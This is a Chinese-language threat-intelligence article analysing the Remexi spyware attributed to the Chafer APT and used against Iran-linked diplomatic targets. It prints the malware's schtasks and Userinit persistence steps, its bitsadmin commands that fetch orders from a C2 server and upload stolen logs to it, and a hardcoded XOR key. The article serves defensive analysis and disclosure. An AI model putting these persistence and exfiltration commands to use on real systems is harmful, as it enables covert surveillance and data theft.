Chafer使用Remexi惡意軟體監控伊朗相關外交機構
摘要
2018年秋 Kaspersky研究人員分析了攻擊伊朗外交相關機構的監控活動。攻擊者使用Remexi的更新版本來發起攻擊,從受害者的分佈來看應該是一起國內的網路監控活動。惡意軟體與名為Chafer的APT組織相關。
該惡意軟體可以竊取鍵盤輸入、截圖、瀏覽器相關的cookie、歷史記錄等資料。攻擊者在客戶端和伺服器端都非常依賴微軟的技術:木馬使用標準的Windows工具像Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe來接收命令和竊取資料。攻擊者使用的C2是基於IIS的,使用.asp技術來操作受害者的HTTP請求。
Remexi開發者使用Windows MinGW 環境的C語言和GCC編譯器來開發。攻擊者使用Windows環境中的Qt Creator IDE。惡意軟體還使用計劃任務、Userinit、執行HKLM hive中的登錄檔等多種駐留機制。不同的樣本還使用XOR和RC4加密和不同的長金鑰。隨機的金鑰中使用了salamati,在波斯語中是健康的意思。
Kaspersky安全產品檢測到惡意軟體是木馬Trojan.Win32.Remexi和Trojan.Win32.Agent。本文是根據2018年11月的分析報告。
技術分析
研究人員分析攻擊活動中使用的主要工具是Remexi惡意軟體的更新版本。最新的模組編譯時間是2018年3月。開發者使用的是MinGW 環境下的Windows GCC編譯器。
在二進位制檔案中,編譯器留下了一些引用C原始檔模組名的線索,包括operation_reg.c、thread_command.c、thread_upload.c。惡意軟體含有許多工作執行緒,負責完成不同的任務,包括C2命令分析和資料竊取。Remexi使用Microsoft Background Intelligent Transfer Service (BITS)機制來通過HTTP與C2進行通訊。
繁殖傳播
目前還沒有明確的證據表明Remexi惡意軟體的傳播方式。值得一提的是研究人員發現了Remexi main模組執行和AutoIt指令碼編譯為PE的關係,研究人員認為是PE釋放的惡意軟體。釋放器使用FTP和硬編碼的憑證來接收payload。截止分析時,FTP已經無法訪問了,因此無法進一步分析。
惡意軟體特徵
Remexi有很多特徵允許其收集鍵盤輸入、截圖、竊取憑證、登陸和瀏覽器歷史,執行遠端程式碼。加密含有硬編碼KEY的XOR和預定義了密碼的RC4來加密受害者資料。
Remexi含有多個不同的母可,其中包括配置解密、分析,和不同的監控和附屬函式執行緒。Remexi開發者看似依賴於合法的Microsoft工具,具體見下表。
駐留
駐留模組基於計劃任務和系統登錄檔,不同的作業系統版本機制不同。在老版的Windows作業系統版本中,main模組events.exe執行著編輯過的XPTask.vbs Microsoft樣本指令碼來建立每週的計劃任務。對新版本的作業系統,events.exe會建立task.xml:
然後使用下面的命令來建立windows計劃任務:
schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"<event_cache_dir_path>t /F"
在系統登錄檔級,模組通過加入以下注冊表來完成駐留:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
命令
所有來自C2的命令都首先儲存在附屬檔案中,然後加密儲存在系統登錄檔中。有獨立執行緒會解密和執行登錄檔中的檔案。命令及描述如下:
·search 搜尋相關的檔案
· search&upload 將對應的檔案加密並新增到給定名的上傳目錄中
· uploadfile 將提到的路徑加密並新增到給定名的上傳目錄中
· uploadfolder 將提到的目錄加密並新增到給定名的上傳目錄中
· shellexecute 用cmd.exe執行接收的命令
· wmic 用wmic.exe執行接收的命令
· sendIEPass 將所有收集的資料加密和加入到要上傳到C2的檔案中
· uninstall 移除檔案、目錄和BITS任務
加密
為了解密配置資料,惡意軟體會使用25個字元的key進行XOR加密,並且不同的樣本使用不同的key waEHleblxiQjoxFJQaIMLdHKz。RC4檔案加密依賴於Windows 32 CryptoAPI。
配置
config.ini是惡意軟體儲存加密的配置資料的檔案。含有以下不同的域:
Main模組(events.exe)
在檢查了惡意軟體是否安裝後,main模組會使用Microsoft 標準工具expand.exe和下面的引數來解壓HCK.cab:
expand.exe -r \"<full path to HCK.cab>\" -f:* \"<event_cache_dir_path>\\\"
然後用硬編碼的25位元組XOR key來解密config.ini檔案,每個樣本的XOR key是不同的。然後為鍵盤和滑鼠handlekeys()和MouseHookProc()設定hook :
ID Thread description
1 用bitsadmin.exe工具來從C2獲取命令並儲存為檔案和系統登錄檔
2 用RC4和硬編碼的key來從登錄檔解密命令,並執行
3 將截圖從剪貼簿移動到\Cache005子目錄,並從剪貼簿將Unicode文字移動到log.txt,並用“salamati” key進行XOR操作
4 將截圖移動到\Cache005子目錄,並含有captureScreenTimeOut和captureScreenTimeOut頻率
5 檢查網路連線、解密併發送收集的日誌
6 解除滑鼠和鍵盤的hook,移除bitsadmin任務
7 檢查惡意軟體的工作目錄大小是否超過限制的值
8 收集受害者的憑證、訪問的網站快取、解密的Chrome登陸資料、以及Firefox的資料庫,含有cookies、keys、下載等
惡意軟體使用下面的命令從C2接收資料:
bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file> http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>
活動日誌模組Splitter.exe
該模組是main執行緒呼叫的,以獲取windows的截圖。
除了以動態連結庫和對應的輸出函式形式應用輔助模組外,開發者決定使用events.exe和下面的引數來開啟獨立的應用:
資料竊取
資料竊取是通過bitsadmin.exe工具完成的。BITS機制從Windows XP系統到當前Windows 10版本中都有,是為了建立下載和上傳任務,主要是為了更新作業系統。下面的命令是用來從受害者中竊取資料的:
bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "<control_server>/YP01_<victim_fingerprint>_<log_file_name>" "<log_file_name>"
受害者
根據Remexi變種的目標使用者分析,發現主要是伊朗的IP地址。其中一些是位於伊朗的外交機構實體。
歸屬
研究人員分析發現Remexi惡意軟體與APT組織Chafer有關。其中一個加密的金鑰是salamati,該單詞在波斯語是健康的意思。分析與惡意軟體作者相關的證據發現,在.pdb路徑中含有一個Windows使用者名稱Mohamadreza New。在FBI網站在通緝兩個伊朗犯罪分子Mohammad Reza,但這也可能是個普通的名字,甚至是個錯誤的標識。
結論
Chafer APT組織自2015年開始活躍,根據編譯的時間戳和C2註冊分析,研究人員認為該組織的活動時間可能更早。總的來說,Chafer的主要攻擊目標位於伊朗,雖然也可能包含位於中東的其他國家。